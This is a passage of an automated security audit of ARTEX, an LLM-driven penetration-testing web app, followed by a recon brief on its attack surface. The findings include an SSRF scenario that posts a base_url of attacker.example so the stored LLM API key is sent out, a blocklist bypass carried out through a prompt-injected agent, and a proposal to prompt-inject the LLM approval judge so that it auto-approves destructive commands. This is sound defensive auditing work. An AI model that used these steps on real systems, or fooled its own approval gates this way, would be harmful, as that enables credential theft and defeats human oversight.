   - `QueryDSLInScope` (574-586): `where, dslArgs := buildDSLWhereBase(node, 1)` then `where += " AND id IN (SELECT id FROM target)"` — no re-parenthesisation of `where`.
   - `QueryDSL` (520-533): `where += " AND type = $N"` and `where += " AND $N = ANY(task_id…

   Exact-domain asset blocklist bypass via trailing dot [CVSS 4.3: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N]
   #### Description
   insert_assets extracts raw domain candidates and calls db.EvaluateAssetGate before insertion. assetInterceptCandidates returns item.Domain verbatim (URL host extraction also returns the raw Hostname). matchOne's exact_domain branch compares with strings.EqualFold(strings.TrimSpace(d), p) but never canonicalizes the FQDN: a trailing dot, which is DNS-equivalent, is not removed. Thus an exact_domain rule for blocked.example does not match blocked.example.; the gate allows the asset, and the stored service/subdomain can later be used against the same host.
   
   #### Impact
   An agent can register a host that is semantically identical to an operator-blocked exact domain but differs as a string. The denylist boundary is bypassed, allowing the out-of-scope host to be inserted and later selected for testing.
   
   #### Exploit scenario
   The operator configures an exact_domain asset block for internal.example. A worker (or a prompt-injected agent driven by target content) calls insert_assets with {"type":"subdomain","domain":"internal.example."}. The gate compares the trailing-dot string against the rule, misses, and inserts the asset. internal.example. resolves to the same address, so subsequent testing reaches the blocked host.
   
   #### Preconditions
   - An exact_domain asset-intercept rule is configured for the target host.
   - The agent can call insert_assets with a trailing-dot (or otherwise non-canonical but DNS-equivalent) host.
   - A later intent or agent action selects the inserted asset for testing.
   
   ```
   case "exact_domain":
       for _, d := range domains {
           if strings.EqualFold(strings.TrimSpace(d), p) {
               return d, true
           }
       }
   ```
   
   #### How to fix
   Canonicalize hostnames before exact matching: trim the terminal dot, lowercase, and apply IDNA normalization on both the rule Pattern and each candidate in matchOne (and in assetInterceptCandidates) so DNS-equivalent names compare equal.
   
   **Exploitability:** Post-auth policy bypass: [REDACTED-SECRET] matching does not canonicalize FQDNs, so a trailing-dot domain evades a blocklist rule while remaining DNS-equivalent. Enables insertion/scanning of a supposedly blocked host.
   
   #### Adversarial verification
   **Verdict:** TRUE_POSITIVE (confidence: 7/10) — `exact_domain` in matchOne compares raw host strings; `DomainKey` (nkey.go:17) proves trailing-dot stripping was intended, so `internal.example.` slips past the insert gate and is added to task scope. Modest impact: scope/blocklist bypass, not RCE or data exposure.
   
   **Verification**
   
   **Sink (db/asset_intercept_match.go:51-56)** — confirmed exactly as reported:
   
   ```go
   case "exact_domain":
       for _, d := range domains {
           if strings.EqualFold(strings.TrimSpace(d), p) { return d, true }
       }
   ```
   Only `TrimSpace`; no FQDN canonicalisation. The sibling `fuzzy_domain` branch uses `strings.Contains`, so the built-in seeded rules (`.gov`, `.gov.cn`, `.edu`, `.edu.cn` — db/db.go:286-289) are unaffected; the defect hits the operator-authored `exact_domain` (and `exact_url`) kinds, which `validateAssetInterceptRuleReq` explicitly leaves "free-form, no format check" (server/asset_intercept.go:142-143).
   
   **Reachability to the sink (verified, graph edges correct)**
   - `agent/tools_insert.go:243` `assetInterceptCandidates(item)` → `add(&domains, item.Domain)` — raw, space-trimmed only; URL branch uses `u.Hostname()`, which in Go keeps the trailing dot.
   - `agent/tools_insert.go:244` `db.EvaluateAssetGate(...)` → `MatchAssetInterceptRules` → `matchOne`. Verified in source.
   - `insert_assets` is a worker/pentest/auto tool (agent/toolcatalog.go:45-48), i.e. driven by the LLM agent that reads target-supplied content — the prompt-injection vector in the report is real.
   - Second, independent hit of the same asymmetry: `Asset.interceptCandidates()` (line 119-131) feeds `CheckAssetsIntercept` used by `addOneIntent` (agent/tools.go:1053-1058).
   
   **Defence probing**

   Unbounded targets and body size in ScopeSentry sync [CVSS 4.3: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L]
   #### Description
   syncSSRun uses decode directly on r.Body without http.MaxBytesReader and accepts an unbounded req.Targets array. The loop at line 303 iterates every target, and for each target iterates every requested asset type, calling the remote MCP each time. The results, warnings, and errors slices grow with the response volume, and the 10-minute request context keeps the work alive even after the client disconnects only when the context cancels.
   
   #### Impact
   A single authenticated request can make the server allocate a large target slice and perform three remote asset fetches per target for up to ten minutes. This can tie up goroutines, HTTP connections, and memory, degrading the single-process ARTEX service.
   
   #### Exploit scenario
   Send POST /api/sync/scopesentry/sync with dimension=project, asset_types=[subdomain,service,app], and tens of thousands of targets. The server begins tens of thousands of MCP calls and accumulates results in memory until the 10-minute deadline, blocking or slowing other sync and API work.
   
   #### Preconditions
   - Valid API session
   - A ScopeSentry MCP datasource is configured
   
   ```
   var req ssSyncReq
   if err := decode(r, &req); err != nil { ... }
   ...
   for _, target := range req.Targets {
       ...
       for _, at := range req.AssetTypes {
           items, truncated, ferr := s.ssPageAll(ctx, cl, ssType, filter, pageSize)
   ```
   
   #### How to fix
   Wrap the sync request body in http.MaxBytesReader and cap req.Targets and req.AssetTypes (for example 100 targets and 8 types). Also cap the total accumulated warnings/errors and consider per-target deadlines.
   
   **Exploitability:** Post-auth DoS: syncSSRun decodes an unbounded targets array without MaxBytesReader and performs per-target, per-asset-type remote MCP calls. Large input causes memory/CPU and long-lived request work, but only authenticated.
   
   #### Adversarial verification
   **Verdict:** TRUE_POSITIVE (confidence: 6/10) — Confirmed unbounded-body decode (`json.NewDecoder` with no MaxBytesReader) plus uncapped `targets`×`asset_types` fan-out inside a 10-minute context, with all result/warning/error slices retained in memory; reachable via the JWT-guarded `POST /api/sync/scopesentry/sync`. Severity is limited because the caller must already hold a valid API session.
   
   I've verified the full chain. Summary of evidence:
   
   **Sink verified** (`server/sync_scopesentry.go:258-363`):
   - `decode(r, &req)` → `server/server_mgmt.go:81` is literally `json.NewDecoder(r.Body).Decode(v)`, with **no** `http.MaxBytesReader` anywhere in the handler (contrast `server/assets.go:22`, `server/chatupload.go:82`, etc., which do wrap). The `json.Decoder` will happily decode a multi-GB body into `req.Targets []string`.
   - `req.Targets` has only a non-empty check (line 277); `req.AssetTypes` has no length/dedup check (281) and defaults to 3 entries. `pageSize` is capped at 500 (285) but `syncMaxPerType = 5000` per target/type (line 27, 410).
   - Loop at 303 × 329 → `ssPageAll` (390) → `cl.Call` (`mcphttp/client.go:330`) paging `list_assets` up to 5000 items each; each result element is unmarshalled into `[]json.RawMessage` held in memory (`items`), fed through `ssIngest` (DB writes), and every failure is appended to `errs` which is retained and returned in the JSON response (357-362). So `warnings`/`errs`/`synced` scale with target count × response volume, and the whole response is buffered in memory.
   - Context is `context.WithTimeout(r.Context(), 10*time.Minute)` (289) — so work survives client disconnect only until cancel fires, up to 10 minutes of MCP hammering + writes.
   
   **Entry point verified**: `server/server.go:876` registers `POST /api/sync/scopesentry/sync` on the `/api/` mux, wrapped by `api := cors(s.requireAuth(mux))` (938-940). `requireAuth` (`server/auth.go:97`) only exempts `/api/auth/*` and `/api/health`, so the route needs a valid JWT — no unauthenticated path. `cors` sets `Access-Control-Allow-Origin: *` with `Content-Type` as the only allowed header, i.e. no cross-origin JSON PO…

32. **[MEDIUM] CWE-918: Server-Side Request Forgery (SSRF)** — `server/server.go:1366` _(Agentic SAST)_ · CVSS 6.5
   testLLM sends the active LLM key to any base_url [CVSS 6.5: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N]
   *1 additional call site(s) collapsed during dedup — same root cause; each location needs the same fix applied.*
   
   #### Description
   testLLM builds agent.ConfigFrom(req.BaseURL, ...) from the request body (line 1383). If the form key is empty it falls back first to the profile's stored key (lines 1400-1404) and then to the running global config's key (lines 1410-1413), and finally calls agent.TestConnection(r.Context(), cfg) (line 1422), which performs a real completion request against cfg.BaseURL with that key. There is no validation that base_url matches the profile/global base_url, so an attacker-supplied URL receives the secret as an Authorization header.
   
   #### Impact
   An authenticated caller can redirect a connection test to an arbitrary endpoint and have the backend send the active/global LLM API key (or a stored profile key) to it, exfiltrating the platform's LLM credential; the same primitive gives blind SSRF to internal hosts.
   
   #### Exploit scenario
   POST /api/llm/test {"provider":"openai","model":"x","base_url":"https://attacker.example/v1","api_key":""}. The server resolves the active profile's API key and performs a chat completion against attacker.example, delivering the key in the Authorization header; the attacker also learns the model name in the response.
   
   #### Preconditions
   - Valid JWT (any authenticated session)
   - An active or profile LLM configuration with a stored API key
   
   ```
   cfg := agent.ConfigFrom(req.Provider, req.Model, req.BaseURL, req.APIKey, req.Proxy)
   ...
   if cfg.APIKey == "" { s.cfgMu.Lock(); cfg.APIKey = [REDACTED-SECRET]; s.cfgMu.Unlock() }
   ...
   lat, reply, err := agent.TestConnection(r.Context(), cfg)
   ```
   
   #### How to fix
   Bind the test to a persisted profile (use its stored base_url) or reject a base_url that differs from the source config when falling back to a stored key, and restrict the scheme/host before calling agent.TestConnection.
   
   **Exploitability:** (not ranked by chaining pass)
   
   #### Adversarial verification
   **Verdict:** TRUE_POSITIVE (confidence: 7/10) — `base_url` from the body is unvalidated (`agent/provider.go:198-229`), the stored `llmCfg.APIKey`/profile key is grafted onto that config (server.go:1400-1414), and `TestConnection` sends a real completion to the caller-chosen host with that key; any authenticated request exfiltrates a secret `getLLM` deliberately hides, and the same path gives internal SSRF.
   
   I verified the code directly rather than relying on the snippet.
   
   **Confirmed facts:**
   
   1. **Route + auth** (`server/server.go:739`): `mux.HandleFunc("POST /api/llm/test", s.testLLM)`, mounted under `api := cors(s.requireAuth(mux))` (line 938). So the only gate is `requireAuth` (`server/auth.go:97-114`) — a valid HS256 JWT for subject `ARTEX`. Any authenticated session reaches the sink; no role check, no CSRF token, but also no unauthenticated path.
   
   2. **Attacker-controlled BaseURL** (`server/server.go:1383`): `cfg := agent.ConfigFrom(req.Provider, req.Model, req.BaseURL, req.APIKey, req.Proxy)` — `req.BaseURL` comes straight from the JSON body. `ConfigFrom` (`agent/provider.go:198-229`) only does `TrimSpace`/`TrimRight`/suffix-stripping. **No scheme check, no host allow-list, no comparison against the stored `s.llmCfg.BaseURL` or `p.BaseURL`.** Contrast: the notify path has `blockInternalDial`; this path has none (`quotaAwareHTTPClient`, `agent/provider.go:400-418`, only handles proxy).
   
   3. **Stored key injected into that config** (`server/server.go:1400-1414`): if `api_key` is empty, `cfg.APIKey` is filled from `ProfileByID(...).APIKey` (1403) and then from `s.llmCfg.APIKey` (1412) — the same `cfg` object that already carries the attacker's `BaseURL`. Nothing re-binds the key to the URL it originally belonged to.
   
   4. **Real egress with the secret** (`agent/provider.go:457-500`): `TestConnection` → `c.NewProvider()` sets `llm.Config{BaseURL: c.BaseURL, APIKey: [REDACTED-SECRET]]}` (lines 261-267) → `agentcore.Run` issues a genuine completion to that base URL (30s hard timeout). The…
   ↳ also: `server/server.go:1307-1363` (same root cause)

33. **[LOW] CWE-532: Insertion of Sensitive Information into Log File** — `config/config.go:181` _(Agentic SAST)_ · CVSS 3.1
   Redact() leaks DB password for non-URL/malformed DSNs [CVSS 3.1: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N]
   #### Description
   Redact(dsn) calls url.Parse and only masks the password when the parsed result has a non-nil u.User whose Password() is present. For a keyword/value DSN like 'host=127.0.0.1 user=app password=[REDACTED-SECRET] dbname=artex', url.Parse succeeds but treats the whole string as a path, so u.User is nil and the raw password is returned. Likewise if url.Parse fails the function returns the raw dsn untouched. The result flows into db.Open's error path: fmt.Errorf("ping postgres (%s): %w", config.Redact(dsn), err) at db/db.go:138, and also into start-up logging of the DSN source. The function's contract ('redacted view ... for logging') is therefore violated for the exact alternate DSN form this file itself supports assembling/accepting.
   
   #### Impact
   A PostgreSQL password embedded in a keyword/value DSN (e.g. 'host=... user=... password=...') or in a DSN that fails url.Parse is returned verbatim by Redact(), which is then written to application logs and error messages by db/db.go (ping failure at db/db.go:138). Anyone able to read logs (log page /logs, stderr capture) or an error surfaced to the UI obtains the database credential.
   
   #### Exploit scenario
   Operator configures database.dsn as 'host=db user=app password=[REDACTED-SECRET] dbname=artex' (or any keyword/value DSN). If the initial ping fails (DB not yet up, wrong host), db.Open logs the string at db/db.go:138 with Redact() returning it unmodified, exposing 'password=[REDACTED-SECRET]' in the captured log stream served by /logs to any UI user.
   
   #### Preconditions
   - DSN configured in keyword/value form or unparseable by url.Parse
   - A log-reading party (UI user / log capture) or error output exposure
   - A ping/connection failure to force the error path
   
   ```
   func Redact(dsn string) string {
   	u, err := url.Parse(dsn)
   	if err != nil {
   		return dsn
   	}
   	if u.User != nil {
   		if _, hasPw := u.User.Password(); hasPw {
   			u.User = url.UserPassword(u.User.Username(), "****")
   		}
   	}
   	return fmt.Sprintf("%s", u.String())
   }
   ```
   
   #### How to fix
   Redact must mask passwords in every accepted DSN form: fall back to a regex/keyword scrub (e.g. password=\S+) when url.Parse yields no User, and never return the raw string on parse error. Apply at config/config.go:181-191 before the value reaches the db/db.go:138 log message.
   
   **Exploitability:** Low-impact info leak: Redact() only masks URL-form DSNs; keyword/value DSNs pass through raw into ping-error logs and startup logging. Requires local/config access or log visibility; discloses DB password to log readers.
   
   #### Adversarial verification
   **Verdict:** TRUE_POSITIVE (confidence: 6/10) — `Redact` genuinely fails to mask keyword/value and unparseable DSNs; the unredacted DSN reaches `fmt.Errorf` at db/db.go:138 and then the process log stream (partially mitigated: startup path is fatal to stderr, DSN is operator-supplied, app is single-user).
   
   I verified the code and traced the whole path.
   
   **What the code actually does** (`config/config.go:181-191`): confirmed exactly as reported — `url.Parse` on a keyword/value DSN like `host=db user=app password=[REDACTED-SECRET] dbname=artex` succeeds with the whole string as `Path`, so `u.User == nil` and no masking happens; the parse-error branch returns `dsn` verbatim. Both alternate forms the file itself supports (`database.dsn` taken verbatim at `config/config.go:142-143`, `ARTEX_PG_DSN` at `config/config.go:138-139`) leak. There is no unit test for `config.Redact` (only `notify/redact_test.go`, different function).
   
   **Reachability** (`server/manager.go:357-364` → `db/db.go:128-139` → `cmd/artex/main.go:98-101`): the DSN is resolved and passed verbatim to `db.Open`; on `Ping()` failure, `fmt.Errorf("ping postgres (%s): %w", config.Redact(dsn), err)` embeds the unredacted `password=[REDACTED-SECRET]`. That error is returned to `main` and `log.Fatalf`'d, and stdout/stderr is teed into the log sink (`server/logsink.go:46-128`) — the same ring/DB feed served by `GET /api/logs`, `/api/logs/histor…

Reconnaissance brief

What the pipeline understood about the repository before it deployed and attacked it.

# RECON — ozgurnew/ARTEX

## Target type

**ARTEX** is an **LLM multi-agent autonomous penetration-testing platform** (a "self-driving pentest" web app). It is a **Go monolith backend that embeds a statically-exported Next.js SPA** and drives a fleet of LLM agents (goals / planner / worker / main-agent / chat agents) that run real recon tooling (`bash`, `curl`, `nmap`, `nuclei`, Playwright MCP, custom Python/HTTP tools) against user-supplied targets.

Concretely it is a **browser-facing web app + JSON REST API + SSE streams + an LLM chat/agent surface**, with a secondary **MITM recording proxy** port. The red-team surface class is best described as `llm-chat-agent` (the app's core is LLM-driven agents with tool execution), but it is simultaneously a full `web-app`/`api-rest` target.

Notable: the repo is a private fork of `Autumn-27/ARTEX` (upstream), AGPL-3.0.

## Stack

| Item | Value |
|---|---|
| Language | Go (backend), TypeScript/React (frontend) |
| Go version | `go 1.26.3` (go.mod); CI uses `go-version: "1.26"` |
| Backend framework | stdlib `net/http` + `http.ServeMux` (Go 1.22+ method+wildcard patterns, e.g. `"GET /api/tasks/{id}"`) |
| Frontend | Next.js `^16.2.9`, React `^19.2.7`, Tailwind 4, shadcn/radix, zustand, biome. Built with `NEXT_EXPORT=1 next build` → static `web/out`, then `go:embed`-ed into the binary under `-tags embedui` |
| Database | **PostgreSQL** (required) via `jackc/pgx/v5`; schema is `go:embed`-ed (`db/schema.sql`, 79 KB) and re-applied idempotently on every boot under a `pg_advisory_lock` |
| Key deps | `golang-jwt/jwt/v5`, `golang.org/x/crypto/bcrypt`, `lqqyt2423/go-mitmproxy` (traffic proxy), `miekg/dns` + `projectdiscovery/dnsx` (enrich), `Autumn-27/norma` (agent SDK: agentcore/tool/permission/harness/memory/transcript), `modernc.org/sqlite` (legacy) |
| Package manager | Go modules; `npm` (with `package-lock.json`) for `web/` |
| Runtime extras | Node 20 (NodeSource) + `@playwright/mcp`, `@playwright/cli`, `playwright` + chromium; `ripgrep curl wget vim git jq unzip dnsutils iputils-ping netcat-openbsd inetutils-telnet whois nmap`; Python 3.12 (base image) |

## Deployment

### Existing Docker assets — present and usable

- **`Dockerfile`** — exists, but is a **runtime-only image**: it does **not** compile anything. It expects a pre-built binary at `dist/${TARGETARCH}/artex` in the build context. Base image `python:3.12-slim-bookworm`, `WORKDIR /app`, `VOLUME ["/app/data"]`, `EXPOSE 8787 8788`, `ENTRYPOINT ["/app/start.sh"]`, `CMD ["-addr", ":8787", "-proxy", ":8788"]`.
- **`docker-compose.yml`** — `postgres:16-alpine` + `autumn27/artex:${ARTEX_TAG:-latest}` (pulls the **published Docker Hub image**, not a local build). Ports `8787:8787` and `127.0.0.1:8788:8788`. Bind-mounts `./data` and `./skills`.
- **`docker-compose.bench.yml`**, **`start.sh`** (supervisor/daemon script, also the Docker ENTRYPOINT), **`start.bat`**, **`install.sh`**, **`update.sh`**, **`build.sh`** (cross-compile + zip release builder), **`dev.sh`**, **`reset-password.sh`**.
- **`.env.example`** — `ARTEX_TAG`, `POSTGRES_USER/PASSWORD/DB`, `ANTHROPIC_API_KEY`, `OPENAI_API_KEY`, `ARTEX_LLM_*`.
- **`config.example.json`** — `database.{host,port,user,password,dbname,sslmode}` or `database.dsn`, plus `skill_dir`.
- **`.dockerignore`** excludes `web/out`, `server/webui/dist`, `/artex`, `data`, `transcripts` — i.e. the Dockerfile's `COPY dist/${TARGETARCH}/artex` will **fail unless you build the binary first**.

### Recommended containerization (self-contained, no Docker Hub dependency)

Because the published image is not guaranteed to match this fork, build from source. Multi-stage:

```dockerfile
# ---- stage 1: frontend static export ----
FROM node:22-bookworm-slim AS web
WORKDIR /src/web
COPY web/package.json web/package-lock.json ./
RUN npm ci
COPY web/ ./
RUN npm run build:static            # NEXT_EXPORT=1 next build -> /src/web/out

# ---- stage 2: go build with embedded UI ----
FROM golang:1.26-bookworm AS build
WORKDIR /src
COPY go.mod go.sum ./
RUN go mod download
COPY . .
COPY --from=web /src/web/out ./server/webui/dist
RUN CGO_ENABLED=0 go build -tags embedui -trimpath \
      -ldflags "-s -w -X main.version=dev" -o /out/artex ./cmd/artex

# ---- stage 3: runtime (mirrors the repo Dockerfile) ----
FROM python:3.12-slim-bookworm
RUN apt-get update && apt-get install -y --no-install-recommends \
      ca-certificates ripgrep curl wget vim git jq unzip \
      dnsutils iputils-ping netcat-openbsd inetutils-telnet whois nmap \
    && curl -fsSL https://deb.nodesource.com/setup_20.x | bash - \
    && apt-get install -y --no-install-recommends nodejs \
    && rm -rf /var/lib/apt/lists/*
RUN npm install -g @playwright/mcp@latest @playwright/cli@latest playwright@latest \
    && playwright install --with-deps chromium
WORKDIR /app
COPY --from=build /out/artex /app/artex
COPY start.sh /app/start.sh
RUN chmod +x /app/artex /app/start.sh
COPY skills/ /app/skills/
VOLUME ["/app/data"]
EXPOSE 8787
ENTRYPOINT ["/app/start.sh"]
CMD ["-addr", ":8787", "-proxy", ":8788"]
```

Notes:
- `-tags embedui` is **mandatory** for a single-binary deploy; without it `webuiHandler()` 404s every non-`/api/` path (`server/webui_stub.go`).
- `CGO_ENABLED=0` is what the project itself uses (pure-Go pgx + modernc sqlite).
- `start.sh` is a supervisor that relaunches on exit code 75 (self-update) and backs off on crashes; it forwards SIGTERM. It is the correct ENTRYPOINT. Running `./artex` directly also works for a sandbox.
- If you want to skip the Go build, `docker compose up -d` will pull `autumn27/artex:latest` — but that is upstream's image, not this fork's code.

### Root directory

Repo root. Backend entrypoint: `cmd/artex/main.go`. Frontend: `web/`.

### Required environment variables

**Required or it crashes:**
- `ARTEX_PG_DSN` — e.g. `postgres://artex:artex@127.0.0.1:5432/artex?sslmode=disable`. `config.PostgresDSN()` has **no built-in fallback**: with neither `ARTEX_PG_DSN` nor a `config.json` `database` block, `NewManager` returns an error and the process exits. A reachable PostgreSQL is therefore a **hard boot requirement**. (The app will `CREATE DATABASE` itself if the target DB is missing, connecting to the `postgres` maintenance DB first — so the role needs CREATEDB, or pre-create the DB.)

**Optional / feature-flag (app boots without them):**
- `ANTHROPIC_API_KEY` / `OPENAI_API_KEY` — without either, the engine stays **idle** ("no LLM provider configured — engine idle until set via /api/llm or env"). The UI, auth, tasks, assets, settings all still work; only agent runs need an LLM.
- `ARTEX_LLM_PROVIDER` (`anthropic` | `openai` | `openai-responses`), `ARTEX_LLM_MODEL`, `ARTEX_LLM_BASE_URL`, `ARTEX_LLM_PROXY`, `ARTEX_LLM_STREAM`.
- `ARTEX_CONFIG` — path to `config.json` (default: `./config.json` then `<exeDir>/config.json`).
- `ARTEX_SKILL_DIR` — skill root (default `<exeDir>/skills`).
- `POSTGRES_USER` / `POSTGRES_PASSWORD` / `POSTGRES_DB` / `ARTEX_TAG` — compose-only.

**Safe dummy values for a sandbox boot:**
```
ARTEX_PG_DSN=postgres://artex:artex@127.0.0.1:5432/artex?sslmode=disable
ARTEX_SKILL_DIR=/app/skills
# leave ANTHROPIC_API_KEY / OPENAI_API_KEY empty, or set a fake key to exercise the LLM path
```

### How to expose it over HTTP

It **already runs an HTTP server** — no wrapper needed.

- Start command: `/app/start.sh -addr :8787 -proxy :8788` (or `./artex -addr :8787 -proxy :8788`).
- **`-addr` defaults to `:8787`** — already `0.0.0.0`-bound. **It does NOT read `$PORT`.** To honour a platform `$PORT`, either pass `-addr :$PORT` explicitly, or set `CMD ["-addr", ":8787"]` and map the platform port to 8787. **This is the single most important deploy detail.**
- `-proxy` defaults to `127.0.0.1:8788` (the MITM recording proxy). It is **not** needed for the HTTP surface; pass `-proxy ""` to disable it, or keep it (it binds loopback only, so it is unreachable from outside the container unless you also expose 8788).
- Frontend and API/SSE are served from the **same port**; the SPA is served at `/` (public, no JWT) and `/api/*` is JWT-gated. No `NEXT_PUBLIC_SSE_BASE` needed.
- **Reverse-proxy caveat:** SSE is used for live activity/logs/update streams. The proxy **must disable buffering** (`proxy_buffering off; proxy_cache off; proxy_read_timeout 3600s; proxy_http_version 1.1; proxy_set_header Connection "";`) or the browser connects but receives no events.
- First-run flow: open `/` → redirected to `/setup` → `POST /api/auth/init` sets the admin password (username is hard-coded `ARTEX`). **The sandbox must call `/api/auth/init` before anything else is reachable**, otherwise every `/api/*` call 401s.

### Blockers

- **PostgreSQL is mandatory.** No SQLite fallback in practice (the `modernc.org/sqlite` dep is legacy). A sandbox must run a Postgres sidecar/container.
- The repo `Dockerfile` alone is **not buildable from a clean checkout** (needs `dist/<arch>/artex` pre-built) — use the multi-stage recipe above.
- `npx @playwright/mcp` is spawned as a stdio MCP child process; if the image lacks Node/Playwright the browser MCP fails (non-fatal, logged).
- Self-update (`/api/update/*`) downloads from GitHub and swaps the binary; under Docker it is partially disabled (`mode: "docker"`), and a `dev` version disables it entirely.

## Attack surface

### Auth model

- Single hard-coded user `ARTEX`; password stored bcrypt-hashed in the `settings` table under key `auth.password_hash`.
- JWT HS256, 7-day TTL, subject `ARTEX`. Signing key is 32 random chars written to `<exeDir>/jwt.key` (mode 0600) — **deliberately outside the browsable workspace**.
- Token accepted from **three places**: `Authorization: Bearer`, the `artex_token` cookie, **or `?token=` query param** (the last exists for SSE — so tokens leak into logs/Referer).
- `requireAuth` exempts **only** `/api/auth/*` and `/api/health`. Everything else under `/api/` is gated. The SPA at `/` is **public**.
- `POST /api/auth/init` is **unauthenticated and first-writer-wins** — a race if the sandbox is exposed before setup.
- `POST /api/auth/change-password` lives under the exempt `/api/auth/*` prefix and therefore does its own `verifyJWT` — worth probing for a bypass.
- `cors(...)` wraps the whole API; the CORS policy is permissive enough that the frontend is same-origin, but a cross-origin caller may be able to use a stolen token.

### Routes (large surface — ~200 handlers registered in `server/server.go: Handler()`)

Representative groups:

- **Auth**: `GET /api/auth/status`, `POST /api/auth/init`, `POST /api/auth/login`, `POST /api/auth/change-password`
- **Health/stats/logs**: `GET /api/health` (unauthenticated, leaks `version`), `/api/stats`, `/api/logs`, `/api/logs/history`, `GET /api/logs/stream` (SSE)
- **Self-update**: `GET /api/update/check`, `POST /api/update/apply`, `POST /api/update/rollback`, `GET /api/update/stream` — downloads a release from GitHub, verifies SHA256SUMS, smoke-tests, swaps the binary, exits 75
- **Tasks**: `GET/POST /api/tasks`, `GET/PATCH/DELETE /api/tasks/{id}`, `/api/tasks/{id}/control`, `/api/tasks/{id}/scope`, `/api/tasks/{id}/goals`, `/api/tasks/{id}/constraints`, `/api/tasks/{id}/intents/{iid}/control|messages|rerun`, `/api/tasks/{id}/archive`, `/api/tasks/control/batch`, `/api/task-archives/*`
- **Workspace file manager** (see sinks): `GET /api/workspace/list|read|download`, `POST /api/workspace/write|mkdir|upload`, `DELETE /api/workspace/delete`
- **Skills (filesystem CRUD)**: `GET/POST /api/skills`, `POST /api/skills/upload` (zip), `DELETE /api/skills/{name}`, `GET/PUT/DELETE /api/skills/{name}/files/{file...}`, `POST /api/skills/{name}/dirs`, `PUT /api/skills/{name}/meta`
- **Agents / prompts / tools / MCP**: `/api/agents*`, `/api/agents/{key}/prompt|wrapup|triggers|visibility|variables|prompt/preview`, `/api/tools*`, `POST /api/tools/custom`, `POST /api/tools/custom/test`, `/api/mcp*`, `POST /api/mcp/{id}/refresh`
- **LLM**: `GET/POST /api/llm`, `POST /api/llm/test`, `/api/llm/profiles*`, `/api/llm/retry-policy`, `/api/llm/pool`, `POST /api/llm/models`, `/api/llm/records*`
- **Chat / conversations (LLM surface)**: `POST /api/chat`, `POST /api/chat/upload`, `GET /api/chat/mentions`, `GET/POST /api/conversations`, `POST /api/conversations/{id}/messages`, `POST /api/conversations/{id}/stop`, `GET /api/conversations/{id}/messages/{seq}`
- **Exploration / findings**: `/api/exploration/frontier|findings|intents|graph|nodes|activity|tokens`, `/api/exploration/findings/{id}/deepen|retests|lineage`, `GET /api/exploration/findings/export`
- **Assets / companies**: `/api/assets*`, `/api/companies*`, `POST /api/companies/reattribute`

- **Notify (IM webhooks)**: `/api/notify/channels*`, `POST /api/notify/channels/{id}/test`, `/api/notify/deliveries*`
- **ScopeSentry sync**: `/api/sync/scopesentry/{status,datasource,projects,tasks,sync}`
- **Settings / misc**: `GET/PUT /api/settings`, `POST /api/settings/web-search/test`, `POST /api/settings/python/detect`, `GET /api/report`, `GET /api/audit`, `POST /api/gc`, `GET /api/commands*`, `GET /api/visibility/*`

### User-controllable inputs and notable sinks

1. **Arbitrary shell execution (the big one).** Agents run `bash` via the norma SDK's `Bash` tool. Custom tools (`POST /api/tools/custom`, kind `command`) render a template with `shellQuote` and hand it to `Bash`; kind `script` writes a temp `.py` under `<workDir>/.tools` and runs it with the detected Python interpreter, passing params as JSON on stdin and as `TOOL_<NAME>` env vars. `POST /api/tools/custom/test` executes an **unsaved** exec spec immediately. So an authenticated user gets RCE inside the container by design.
2. **Path handling / traversal.**
   - `wsResolve` confines workspace paths to `s.m.dir` by `filepath.Clean("/"+rel)` + prefix check — looks correct, but `wsDownload` uses `http.ServeFile` and `wsUpload` uses `filepath.Base(hdr.Filename)`.
   - Skill paths use a **Unicode blacklist** (`skillPathBlocked = \ % # ? * : " < > |`), reject `..`, leading `/`, `//`, control/format/private-use runes, and non-ASCII whitespace. Zip-slip is explicitly tested (`TestUploadSkillRejectsTraversal`).
   - `chatUpload` guards the `{id}` segment with `^[A-Za-z0-9_-]+$` and rejects names containing `/` or `\`.
3. **Zip extraction.** `POST /api/skills/upload` parses attacker-supplied zips with extra decompressors (bzip2, zstd) and caps: 20 MB body, 100 MB total, 20 MB/file, 4000 entries. Encrypted and Deflate64/LZMA/XZ/PPMd archives are rejected with messages. Worth fuzzing the caps and the GBK-name decoding path.
4. **Template rendering.** Agent prompts are Go `text/template` with a whitelisted variable catalog; `POST /api/agents/{key}/prompt/preview` renders an arbitrary template with attacker-supplied `sample` values. Custom-tool `command`/`http` templates use a naive `{name}` string replace (not `text/template`) — `renderTemplate` + `shellQuote`.
5. **Outbound HTTP / SSRF.** Many places fetch user-supplied URLs: `POST /api/llm/test` and `POST /api/llm/models` (arbitrary `base_url`), `POST /api/settings/web-search/test`, `POST /api/notify/channels/{id}/test` (webhook URL), `POST /api/sync/scopesentry/datasource` + `/sync` (MCP over HTTP with attacker `url` + `X-API-Key` header), custom `http` tools, and MCP `http`/`sse` transports. `m.Insecure` disables TLS verification. **No obvious allowlist** — classic SSRF into the container network / cloud metadata.
6. **MCP stdio spawn.** `connectMCP` for `transport: "stdio"` runs `m.Command` with `m.Args` and `m.Env` from the DB — i.e. **arbitrary process spawn** from the MCP config UI. The seeded `browser` MCP is `npx @playwright/mcp --headless`.
7. **SQL.** All queries go through pgx with `$N` placeholders. `ensureDatabase` does `CREATE DATABASE "` + dbName + `"` (identifier interpolation, not parameterized) — a DSN with a hostile dbname is worth a look. `db/asset_dsl.go` builds an asset query DSL.
8. **LLM prompt injection.** The whole point of the app: agent prompts embed task descriptions, goals, asset data, tool outputs, and **uploaded file contents** (`composeAgentMessage` appends absolute paths and the agent `Read`s them). A malicious target's HTTP responses flow into the LLM context. The `intercept`/`guard` layer is an LLM-judged approval gate for tool calls (`wireInterceptReviewer`, `/api/intercept/judge`) — so **prompt-injecting the judge** to auto-approve destructive commands is a first-class attack.
9. **Secrets exposure.** `GET /api/llm` returns config with `key_set` but not the key; `GET /api/llm/profiles` returns `api_key_hint`. `GET /api/llm/records/{id}` returns **full request/response bodies** (when recording is on) — may contain keys. `GET /api/logs` + `/api/logs/stream` expose backend logs (LLM test logs print raw response bodies, clipped to 4 KB). `GET /api/settings` returns stored Brave/Tavily keys and the global proxy.
